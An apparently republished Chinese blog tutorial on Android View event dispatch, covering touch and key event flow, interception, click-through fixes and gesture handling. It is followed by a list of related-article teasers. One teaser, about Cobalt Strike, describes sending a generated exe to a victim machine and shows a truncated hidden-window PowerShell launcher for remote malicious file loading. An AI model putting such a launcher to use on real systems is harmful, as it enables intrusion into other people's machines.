Android View 事件派发流程

news2024/11/15 21:31:53

原文链接 Android View 事件派发流程

自从乔帮主横空出世推出了iPhone以来,触控式的操作便成了21世纪智能设备的标准输入方式。对于同是智能操作系统的Android来说,也不例外。事件,特别是触控事件对于移动应用程序开发来说是一个非常重要的,也是开发人猿必须掌握的事情。这里就要讨论一下Android View中的Event系统,重点探讨一下事件的派发流程。

输入事件综述

事件的分类

对于Android系统来说用户输入事件分为两类,一个是KeyEvent,这个是硬件产生的事件,或者更准确的说是非触控手势产生的事件,通常包括硬件按扭如音量键,电源键,系统导航(HOME,BACK和MENU)以及外设(如外接设备,键盘,自拍杆等)系统层也都会统一的做成映射转成KeyEvent传给当前Window窗口(当前进程)。

还有一类就是专指解控屏幕产生的触摸式的手势事件,是MotionEvent,为啥不叫TouchEvent呢,因为啊最初的Android版本是支持滑动球的,现在已经没有这种设备,但是名字就这么流传下来了。这个事件专门由视图系统view tree来处理,本文也将重点讨论此类事件。

事件从哪里来

简单来说事件是源自于硬件,比如屏幕或者按键,这是废话,知道了这个意义也不大,硬件产生电子信号后会经由驱动传给内核,内核再报给输入系统,再传给wms(Windows Manager Server),最终会到Window这里。对于应用层来说,可以理解 为事件都是从Window对象这里来的就行了。

谁先收到事件

对于GUI应用程序层来说,wms就是事件来源,那么ViewRootImpl对象是第一个接收到事件,ViewRootImpl并没有直接把事件派发给view tree,而是先给到DecorView,宿主组件在DecorView处有一个专门接收事件的回调,由此事件便到了当前的宿主组件如Activity或者Dialog,看它是否愿意做处理,如果它不处理,那么就会把事件再派发给GUI视图系统,也即view tree,这一次没有再经过ViewRootImpl对象,而是由Window对象直接调用根节点的dispatchTouchEvent或者dispatchKeyEvent。

   15:57:02.254   W/System.err: java.lang.Exception: Stack trace
   15:57:02.255   W/System.err:     at java.lang.Thread.dumpStack(Thread.java:1348)
   15:57:02.256   W/System.err:     at net.toughcoder.view.ViewWindowExampleActivity.dispatchKeyEvent(ViewWindowExampleActivity.java:107)
   15:57:02.256   W/System.err:     at com.android.internal.policy.DecorView.dispatchKeyEvent(DecorView.java:342)
   15:57:02.256   W/System.err:     at android.view.ViewRootImpl$ViewPostImeInputStage.processKeyEvent(ViewRootImpl.java:5053)
   15:57:02.257   W/System.err:     at android.view.ViewRootImpl$ViewPostImeInputStage.onProcess(ViewRootImpl.java:4921)
   15:57:02.257   W/System.err:     at android.view.ViewRootImpl$InputStage.deliver(ViewRootImpl.java:4442)
   15:57:02.258   W/System.err:     at android.view.ViewRootImpl$InputStage.onDeliverToNext(ViewRootImpl.java:4495)
   15:57:02.258   W/System.err:     at android.view.ViewRootImpl$InputStage.forward(ViewRootImpl.java:4461)
   15:57:02.259   W/System.err:     at android.view.ViewRootImpl$AsyncInputStage.forward(ViewRootImpl.java:4601)
   15:57:02.259   W/System.err:     at android.view.ViewRootImpl$InputStage.apply(ViewRootImpl.java:4469)
   15:57:02.259   W/System.err:     at android.view.ViewRootImpl$AsyncInputStage.apply(ViewRootImpl.java:4658)
   15:57:02.260   W/System.err:     at android.view.ViewRootImpl$InputStage.deliver(ViewRootImpl.java:4442)
   15:57:02.260   W/System.err:     at android.view.ViewRootImpl$InputStage.onDeliverToNext(ViewRootImpl.java:4495)
   15:57:02.260   W/System.err:     at android.view.ViewRootImpl$InputStage.forward(ViewRootImpl.java:4461)
   15:57:02.261   W/System.err:     at android.view.ViewRootImpl$InputStage.apply(ViewRootImpl.java:4469)
   15:57:02.261   W/System.err:     at android.view.ViewRootImpl$InputStage.deliver(ViewRootImpl.java:4442)
   15:57:02.261   W/System.err:     at android.view.ViewRootImpl$InputStage.onDeliverToNext(ViewRootImpl.java:4495)
   15:57:02.262   W/System.err:     at android.view.ViewRootImpl$InputStage.forward(ViewRootImpl.java:4461)
   15:57:02.262   W/System.err:     at android.view.ViewRootImpl$AsyncInputStage.forward(ViewRootImpl.java:4634)
   15:57:02.263   W/System.err:     at android.view.ViewRootImpl$ImeInputStage.onFinishedInputEvent(ViewRootImpl.java:4795)
   15:57:02.263   W/System.err:     at android.view.inputmethod.InputMethodManager$PendingEvent.run(InputMethodManager.java:2571)
   15:57:02.263   W/System.err:     at android.view.inputmethod.InputMethodManager.invokeFinishedInputEventCallback(InputMethodManager.java:2081)
   15:57:02.264   W/System.err:     at android.view.inputmethod.InputMethodManager.finishedInputEvent(InputMethodManager.java:2072)
   15:57:02.264   W/System.err:     at android.view.inputmethod.InputMethodManager$ImeInputEventSender.onInputEventFinished(InputMethodManager.java:2548)
   15:57:02.265   W/System.err:     at android.view.InputEventSender.dispatchInputEventFinished(InputEventSender.java:141)
   15:57:02.265   W/System.err:     at android.os.MessageQueue.nativePollOnce(Native Method)
   15:57:02.265   W/System.err:     at android.os.MessageQueue.next(MessageQueue.java:326)
   15:57:02.265   W/System.err:     at android.os.Looper.loop(Looper.java:160)
   15:57:02.266   W/System.err:     at android.app.ActivityThread.main(ActivityThread.java:6692)
   15:57:02.266   W/System.err:     at java.lang.reflect.Method.invoke(Native Method)
   15:57:02.266   W/System.err:     at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
   15:57:02.266   W/System.err:     at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:858)
   15:57:14.582   W/System.err: java.lang.Exception: Stack trace
   15:57:14.586   W/System.err:     at java.lang.Thread.dumpStack(Thread.java:1348)
   15:57:14.586   W/System.err:     at net.toughcoder.view.DemoEventView.dispatchTouchEvent(DemoEventView.java:24)
   15:57:14.586   W/System.err:     at android.view.ViewGroup.dispatchTransformedTouchEvent(ViewGroup.java:3030)
   15:57:14.586   W/System.err:     at android.view.ViewGroup.dispatchTouchEvent(ViewGroup.java:2662)
   15:57:14.586   W/System.err:     at android.view.ViewGroup.dispatchTransformedTouchEvent(ViewGroup.java:3030)
   15:57:14.587   W/System.err:     at android.view.ViewGroup.dispatchTouchEvent(ViewGroup.java:2662)
   15:57:14.587   W/System.err:     at android.view.ViewGroup.dispatchTransformedTouchEvent(ViewGroup.java:3030)
   15:57:14.587   W/System.err:     at android.view.ViewGroup.dispatchTouchEvent(ViewGroup.java:2662)
   15:57:14.587   W/System.err:     at android.view.ViewGroup.dispatchTransformedTouchEvent(ViewGroup.java:3030)
   15:57:14.587   W/System.err:     at android.view.ViewGroup.dispatchTouchEvent(ViewGroup.java:2662)
   15:57:14.587   W/System.err:     at com.android.internal.policy.DecorView.superDispatchTouchEvent(DecorView.java:440)
   15:57:14.588   W/System.err:     at com.android.internal.policy.PhoneWindow.superDispatchTouchEvent(PhoneWindow.java:1830)
   15:57:14.588   W/System.err:     at android.app.Activity.dispatchTouchEvent(Activity.java:3400)
   15:57:14.588   W/System.err:     at com.android.internal.policy.DecorView.dispatchTouchEvent(DecorView.java:398)
   15:57:14.588   W/System.err:     at android.view.View.dispatchPointerEvent(View.java:12753)
   15:57:14.588   W/System.err:     at android.view.ViewRootImpl$ViewPostImeInputStage.processPointerEvent(ViewRootImpl.java:5122)
   15:57:14.588   W/System.err:     at android.view.ViewRootImpl$ViewPostImeInputStage.onProcess(ViewRootImpl.java:4925)
   15:57:14.588   W/System.err:     at android.view.ViewRootImpl$InputStage.deliver(ViewRootImpl.java:4442)
   15:57:14.588   W/System.err:     at android.view.ViewRootImpl$InputStage.onDeliverToNext(ViewRootImpl.java:4495)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$InputStage.forward(ViewRootImpl.java:4461)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$AsyncInputStage.forward(ViewRootImpl.java:4601)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$InputStage.apply(ViewRootImpl.java:4469)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$AsyncInputStage.apply(ViewRootImpl.java:4658)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$InputStage.deliver(ViewRootImpl.java:4442)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$InputStage.onDeliverToNext(ViewRootImpl.java:4495)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$InputStage.forward(ViewRootImpl.java:4461)
   15:57:14.589   W/System.err:     at android.view.ViewRootImpl$InputStage.apply(ViewRootImpl.java:4469)
   15:57:14.590   W/System.err:     at android.view.ViewRootImpl$InputStage.deliver(ViewRootImpl.java:4442)
   15:57:14.590   W/System.err:     at android.view.ViewRootImpl.deliverInputEvent(ViewRootImpl.java:7117)
   15:57:14.590   W/System.err:     at android.view.ViewRootImpl.doProcessInputEvents(ViewRootImpl.java:7086)
   15:57:14.590   W/System.err:     at android.view.ViewRootImpl.enqueueInputEvent(ViewRootImpl.java:7047)
   15:57:14.590   W/System.err:     at android.view.ViewRootImpl$WindowInputEventReceiver.onInputEvent(ViewRootImpl.java:7220)
   15:57:14.590   W/System.err:     at android.view.InputEventReceiver.dispatchInputEvent(InputEventReceiver.java:187)
   15:57:14.590   W/System.err:     at android.os.MessageQueue.nativePollOnce(Native Method)
   15:57:14.590   W/System.err:     at android.os.MessageQueue.next(MessageQueue.java:326)
   15:57:14.591   W/System.err:     at android.os.Looper.loop(Looper.java:160)
   15:57:14.591   W/System.err:     at android.app.ActivityThread.main(ActivityThread.java:6692)
   15:57:14.591   W/System.err:     at java.lang.reflect.Method.invoke(Native Method)
   15:57:14.591   W/System.err:     at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:493)
   15:57:14.591   W/System.err:     at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:858)

因此,从应用程序的角度来说,第一个收到事件的是Activity或者Dialog这种持有Window的顶级组件,所以如果想要从窗口级别来拦截掉所有的事件,那么Activity会是最好的选择,代码示例:

   @Override
   public boolean dispatchKeyEvent(KeyEvent event) {
        if (want to intercept all key events) {
              return true;
        }
        return super.dispatchKeyEvent(event);
    }
    
     @Override
   public boolean dispatchTouchEvent(MotionEvent event) {
        if (want to intercept all touch events) {
              return true;
        }
        return super.dispatchTouchEvent(event);
    }

上面两个方法是在view tree之前最先收到事件的方法,是组件里面想拦截的最佳地点,这是从前面打先锋。而要想处理掉view tree未处理的事件,则需要在onKeyUp(int keyCode, KeyEvent event)和onKeyDown(int keyCode, KeyEvent event)以及onTouchEvent(MotionEvent event)这几个方法里面处理,这个相当于是断后。

事件的散发过程(Event Propagation)

事件到达应用程序这一端后,从Activity开始了散发过程,它的机制 和过程好比一个各处流动的小球,每个节点都接收一个事件对象,返回一个boolean,如果返回true则表示事件在此被消耗,当前事件散发终止,而如果返回false,表示当前节点对此事件不感兴趣,事件继续散发。

而具体的流程,则是先到Activity(Dialog等第一级组件),再到view tree,在view tree里面也是如此从父view到子view如此一个一个的传递,这个先后顺序流程则是由整个系统构架决定的。

事件是一个数据流

前面讲的事件的散发过程,就可以看作是一个球在在流动,这是从单个事件的处理角度看,是这样。但从整个的事件来看更如此,因为事件通常像电子信号一样,是从来源出发(如触摸屏,硬件等),有一定时间间隔的一连串的事件对象的派发的整个过程,简单来比喻就是几个球,每隔1秒就发出一个球,这样一个数据流。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-As64uuAw-1688391575067)(https://girliemac.com/assets/images/articles/2013/04/touchevents.png)]

说了这么多,其实真实要做起来还是比较简单的,虽然是一个数据流,但是每 一个流都有开始和结束的标志,处理起来并不难。比如KeyEvent,开始是onKeyDown,然后是onKeyUp,在这两个里面处理,就完成了对KeyEvent流的处理。

而MotionEvent则稍复杂一些,一个MotionEvent流,系统会不断的回调onTouchEvent,直到结束,通过MotionEvent#getAction()来判断,从ACTION_DOWN到ACTION_MOVE到ACTION_UP或者ACTION_CANCEL结束。

注意:因为KeyEvent的处理相对较简单,所以剩下的部分将重点讨论MotionEevnt。

Touch Event的派发流程

事件产生以后,会传递给Activity#dispatchTouchEvent,如果没有被拦截,那么就会传给Window,而Window则会传给ViewRootImpl来处理,view tree处理完后,会再交给Activity#onTouchEvent:

     public boolean dispatchTouchEvent(MotionEvent ev) {
        if (ev.getAction() == MotionEvent.ACTION_DOWN) {
            onUserInteraction();
        }
        if (getWindow().superDispatchTouchEvent(ev)) {
            return true;
        }
        return onTouchEvent(ev);
    }

这个方法可以清楚地看到,先锋和断后和view tree在事件派发流动中的顺序。

下面重点看看在Window中(view tree)里面事件的派发流动过程。其实重点看View#dispatchTouchEvent和ViewGroup#dispatchTouchEvent就可以了,需要注意的是,事件的派发流程与处理流程是不一样的,派发在先,处理在后,所以如果看事件的派发需要看dispatch打头的方法,而处理则是看on打头的。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xRTtIp4x-1688391575067)(https://ts1.cn.mm.bing.net/th/id/R-C.e4904d9c647dd791d55714d0136e4e74?rik=EHe1gcTz8qMkIA&riu=http%3a%2f%2fwww.trinea.cn%2fwp-content%2fuploads%2f2016%2f01%2ftouch1.jpg%3fdc9529%26x24892&ehk=Q3w9oxiUGd637s9fQqxuc4ErFNfTBi%2bMmTpoy%2foZNhY%3d&risl=&pid=ImgRaw&r=0)]

View的dispatch较为简单一些,因为它提供的是一个默认的实现,并且View是作为view tree中的一个叶子的,因此它的dispatch实际上就是一个终点,所以它做的事情就是,看是否有OnTouchListener,有就调用其onTouch,然后再调用onTouchEvent把事件处理一下,就完了。从这里也可以看出来OnTouchListener是走在onTouchEvent方法的前面的。

至于ViewGroup则相对复杂,因为它要管理子View,向子View派发事件,并且还要处理拦截。它的逻辑大概是:先看自己是否要拦截onInterceptTouchEvent返回true表示要拦截,false不会拦截,如果要拦截,则调用自己的onTouchEvent处理掉事件,然后终止派发(真实的逻辑要略微复杂一些,不同的ACTION处理逻辑不一样)。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xAQH0Ilq-1688391575067)(https://ts1.cn.mm.bing.net/th/id/R-C.cf90cd5c4d777cd8716305c6b327e6c1?rik=wYqHpCIElmd7lg&riu=http%3a%2f%2fwww.trinea.cn%2fwp-content%2fuploads%2f2016%2f01%2ftouch2.jpg%3fdc9529%26x24892&ehk=zz8bBzX41itsoGTPjq10sgRT5SByahhG6o2f2OQoUAE%3d&risl=&pid=ImgRaw&r=0)]

重点讲一下ViewGroup是如何向子View派发事件的,当不拦截的时候,这是比较常规的时候,会把事件向子View派发,来捋一捋这一流程:首先,会通过buildTouchDispatchChildList这个方法来选择子View的顺序,这个方法是把子View按事件派发的流程来排序,这个顺序是就是用户看到的顺序,会以Z轴(屏幕从里到外)来排序,以及渲染(draw)的顺序,毕竟从用户角度看最先点击到的,肯定 是Z轴最大(离用户最近),最先draw完的(没有被遮挡)。然后按这个顺序,按个子View调用其上面的dispatchTouchEvent,就把事件向子View传递了过去,当然 这个也是事件在流动,一旦事件被消耗,就会停止派发。

从这个过程来看view tree事件派发是个深度优先的过程,所以view tree的深度不单单影响渲染的性能,连事件处理也比扁平的要慢一些。

Touch Event事件处理方法

事件的处理也即是各种on开头的方法如onTouchEvent,或者各种listener(OnClickListener,OnTouchListener)。一般常规来说设置各种listener就够了,但如果想要自定义一些就直接override onTouchEvent方法,这里就不细说了,各种教程太多了。

listener与直接Override父类方法的区别

需要注意的是如果要override,那么肯定 要自定义View才可以,所以这个是更『黑客式』的方法,只有有必要自定义View,且常规各种listener不能满足需求才有必要如此做,如实现各种自定义的手势等。

listener最大的好处是,很简单方便,隔离性好,事件的触发与结果是隔离的,想针对 事件做处理,实现一个接口就好了,至于事件条件的触发则不用关心,任何对象都可以实现接口以处理事件,而不必非去子类化(继承)View对象。

还需要注意的是OnTouchListener发生的时间要早于onTouchEvent,而常规的手势回调接口(如OnClickListener和onLongClickListner)是在onTouchEvent中触发的。因此,OnTouchListener其实也是一个更为低级的『黑客式』的接口,一般当需要自定义识别手势时才需要实现此接口。

防止点击穿透

有些时候会有一些点击穿透的问题出现,比如写了一个布局,里面有几个Button和TextView,但是当点击这些主要内容之外的空白区域时,此页面下一层的Button却收到事件,比如触发了其onClick事件。当使用层叠 式的Fragment时,此问题较常见。其实从View#onTouchEvent中就可以看到解决方案,如此某个View是clickable的,那么它会把事件消耗掉,而如果clickable为false就会继续传递。

出现穿透的原因就是空白区域,只有这个层页面的一个根布局,通常会是一个ViewGroup,而大部分的ViewGroup默认clickable都是false,因而事件会继续向view tree里面传递,直到其被消耗。

此类问题最简单的解决就是把View设置为clickable=“true”,这个在布局文件中就可以设置。

基础手势识别

基础的手势识别,是说对于触控式操作的一些简单的操作的分类,比如轻触屏幕马上拿开,这视为点击(click或者叫press,或者叫tap),长按屏幕视为long click或者叫long press,还有滑动,双击等等。手势识别,即是一套逻辑算法,用以判断用户当前是哪一种操作,然后触发相当的处理逻辑,给与用户操作上的反馈。废话就这么多,接下来来看具体如何做吧。

在Android的GUI系统中基础的手势有点击(click)和长按(long click)。要识别这些基础手势有两种方法,一是设置接口回调给View,也即实现一个OnClickListener,然后把此对象设置给View#setOnClickListener(长按就是OnLongClickListener和View#setOnLongClickListener);另外一种方法,就是针对view tree内部,比如子类化(继承)某个View对象,然后override相应的方法。

注意: 在写布局xml文件中也可以方便的用onclick属于来指定 手势回调方法,但它的本质与设置一个OnClickListener是一样的。

假如,点击和长按不能满足操作需求时,就需要稍复复杂的基础手势识别对象来帮助,也即是GestureDetector,它与View的连接方式是接口分离,其实不见得可以用于View,只要有MotionEvent事件 来源即可。使用的方法并不复杂,只需要设置一个OnTouchListener或者子类化View并override onTouch方法,从中拿到MotionEvent对象,然后把MotionEvent塞给一个GestureDetecotor对象,就完了,GestureDetector会回调你感兴趣的对应手势处理回调方法,通过OnGestureListener对象。因为OnGestureListener是一个接口,但如果你仅对某几个手势回调方法感兴趣,不想把所有方法都 写一遍(哪怕是空实现),那么可以子类化SimpleOnGestureListener,这是一个类,它实现了OnGestureListener的所有方法,我们仅需要override感兴趣的方法即可。

有一个需要特别注意的事情就是,当你用GestureDetector时,它与常规的onClick或者onLongClick的先后顺序,或者 叫冲突处理。基于一致性的原则,如果使用了GestureDetector时,意味着你想要自己控制事件处理,那么就不应该再 设置onClick或者 onLongClick了。但如果真不小心这么做了,结果又会怎么样呢?这就需要从View的事件处理流程找答案。OnTouchListener的调用是在View#dispatchTouchEvent,这个是在View#onTouchEvent之前,而OnClickListener和OnLongClickListener是在View#onTouchEvent中调用的。所以,顺序是这样的:

  1. 如果你用OnTouchListener获取的MotionEvent,那么你的OnGestureListener的回调方法是最先被调用到的,在所有的其他回调之前。
  2. 如果是override View#onTouchEvent方法获取的event,那么取决于你调用super#onTouchEvent的顺序,如果你是在调用super之前,那么还是你的gesture listener先执行。其实吧,正常人override的写法肯定都先写自己的逻辑最后再调用super,或者干脆不调用super,这是最正统子类override父类的姿式。

由此,可以得出的结论就是如果使用了GestureDetector,那么你的gesture listener肯定是优先被执行的。

onClick与onLongClick的触发时机

再 来看另外 一个比较 有意思的两个问题,onClick的触发时机是啥时候?从View#onTouchEvent方法中可看出来,是在ACTION_UP时触发的,如果它还没有触发long click,而long click则是在事件开始以后ACTION_DOWN以后开始计时,到达一定时间间隔后便触发,不算后续的事件类型。

整体的流程是这样,在View#onTouchEvent里面,分事件类型来处理,ACTION_DOWN中开始计时,后面ACTION_MOVE中继续计时,如果达到长按标准,则触发long click,在正常结束的ACTION_UP中,看有没有达到长按标准,有就触发long click,没有则触发on click。

系统阈值定义

像长按的时长,滑动的最小距离,拉伸的最小距离等 等 这些关键的阈值都 是有系统建议的定义的,这些值都 在ViewConfiguration里面,通常建议直接使用系统定义的要好一些,除非真有特殊需要。

可以查看GestureDetector中对这些常量的使用。

参考资料

  • Mastering the Android Touch System
  • How are Android touch events delivered?

原创不易,打赏点赞在看收藏分享 总要有一个吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/713971.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker容器中应用部署

Docker应用部署 在Docker容器中部署MySQL,并通过外部的mysql客户端操作MySQL Server 一、Mysql部署 端口映射 容器内的网络服务和外部机器不能直接通信外部机器和宿主机可以通信宿主机和容器可以直接通信当容器中的网络服务需要被外部访问的时候,可以把…

语音识别模型whisper的参数说明

一、whisper简介: Whisper是一种通用的语音识别模型。它是在各种音频的大型数据集上训练的,也是一个多任务模型,可以执行多语言语音识别、语音翻译和语言识别。 二、whisper的参数 1、-h, --help 查看whisper的参数 2、--model {tiny.en…

分布式锁及实现方式

一、背景 什么是锁? 在单进程的系统中,当存在多个线程可以同时改变某个变量(可变共享变量)时,就需要对变量或代码块做同步,使其在修改这种变量时能够线性执行消除并发修改变量。而同步的本质是通过锁来实…

cobaltstrike使用

./teamserver 192.168.137.4 # 启动服务端 ./cobaltstrike # 启动客户端先创建一个监听Listener 1. exe 生成exe文件后,传给靶机,让其执行 2. powershell 在靶机中执行下面这段代码即可,就是远程恶意文件加载 powershell.exe -nop -w hi…

flask +vue3 cas 单点登录(sso)

最近在研究前端vue3ts 后端使用flask 搭建的系统涉及到单点登录问题,这里进行一次总结。 关于cas 单点登录的逻辑,网上介绍的很详细,我这里就说说,我所理解的单点登录: 主要是2种情形: 1.通过平台登录之后 调用子系…

[Qt 教程之Widgets模块] —— QFontComboBox 字体选择器

Qt系列教程总目录 文章目录 3.2.1 创建 QFontComboBox3.2.2 成员函数1. 书写系统2. 字体过滤器3. 当前字体4. 信号 该控件用于选择字体,在一些软件中经常有类似控件,如下: Microsoft Office: Photoshop: QFontComboB…

1759_C语言中冒泡排序的实现以及新编译环境测试

全部学习汇总: GreyZhang/c_basic: little bits of c. (github.com) 最近在重新学习C语言的数据结构,找了一份国外的电子书一点点看。刚刚学完双向链表,接下来的任务是搞定几个常用的排序。 冒泡排序还算是我比较熟悉的,工作之后…

Java数据结构和算法-----数组

1、Java数组介绍 在Java中,数组是用来存放同一种数据类型的集合,注意只能存放同一种数据类型(Object类型数组除外)。 ①、数组的声明 第一种方式: 1 数据类型 [] 数组名称 new 数据类型[数组长度]; 这里 [] 可以放在数组名称的前面&#…

Idea整合Maven安装及配置教程(图文详解)

目录 友情提醒第一章、Maven概述1.1)Maven是什么1.2)Maven进行构建(build)的主要环节 第二章、Maven的下载安装和配置2.1)Maven的下载2.2)Maven环境变量配置2.3)Maven文件setting的配置 第三章、…

python+selenium自动化测试学习—手动搭建selenium环境

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 pythonselenium自动化测试学习—手动搭建selenium环境 一、简介二、安装selenium三、下载浏览器驱动四、搭建selenium环境 一、简介 selenium是一个免费开源的,仅…

FOC-滑膜控制器SMC/滑膜观测器SMO

目录 前面 滑膜速度控制器 控制器所处位置 理论设计 模型搭建 滑膜观测器 基本原理 反正切函数 锁相环 滑膜观测器模型(反正切) 滑膜观测器C代码实现 SMO.c SMO.h 前面 滑膜常见用处有两个: 1、作为滑膜控制器SMC,…

日本电子电器PSE认证METI备案、结构分析函报告详细解答

PSE认证是日本强制性安全认证,用以证明电子电气产品已通过日本电气和原料安全法 (DENAN Law) 或国际IEC标准的安全标准测试,457种产品进入日本市场必须通过PSE认证,其中,116种A类产品为特定电器和材料类,须获取认证并加…

机器学习中的Embeddings是什么

嵌入已经渗透到数据科学家的工具包中,并极大地改变了 NLP、计算机视觉和推荐系统的工作方式。然而,许多数据科学家发现它们过时且令人困惑。更多的人在不了解它们是什么的情况下盲目地使用它们。在本文中,我们将深入探讨嵌入是什么、它们如何…

【vue3】14-Vue全家桶-VueX状态管理

Vue全家桶 - VueX状态管理 认识应用状态管理VueX的状态管理 Vuex状态管理详解Vuex的基本使用单一状态树核心概念State组件获取状态setup中获取状态 核心概念Gettersgetters基本使用getters辅助函数 核心概念MutationsMutation基本使用mutation携带数据Mutation常量类型Mutation…

ModaHub魔搭社区:Zilliz Cloud 多组织与角色管理功能,让你的权限管理更简单!

目录 组织与角色功能简介 如何使用组织与角色功能? Zilliz Cloud 云服务是一套高效、高度可扩展的向量检索解决方案。近期,我们发布了 Zilliz Cloud 新版本,在 Zilliz Cloud 向量数据库中增添了许多新功能。其中,用户呼声最高的…

从零开始备战数学建模国赛之线性规划1.1

从零开始备战数学建模国赛之线性规划1.1 现在距离2023年的数学建模国赛还有不足三个月的时间,想与大家共同备战国赛。 这是我自己总结的一些代码和资料(本文中的代码以及参考书籍等),放在github上供大家参考:https://…

流量控制 Sentinel

一、Sentinel(哨兵)简介 1、Sentinel的功能及特点 1.Sentinel的功能 Sentinel的支持 2.Sentinel的特点 Sentinel的特点 2、Sentinel的组成 核心库(Java 客户端)不依赖任何框架/库,能够运行于所有 Java 8 及以上的运行时环境,同…

HMAC算法详解

1.HMAC算法 1.1 HMAC算法简介 HMAC(Hash-based Message Authentication Code,散列消息认证码)是一种使用密码散列函数,同时结合一个加密密钥,通过特别计算方式之后产生的消息认证码(MAC)。它可…

Go语言使用中遇到的错误

Go语言使用中遇到的错误 1、go: go.mod file not found in current directory or any parent directory. 先运行这一行代码: go mod init name再运行你的 go get 命令就好了。 2、Failed to build the application: main.go:4:2: package generateproject/route…

C++之报错:is an inaccessible base of(一百四十五)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生…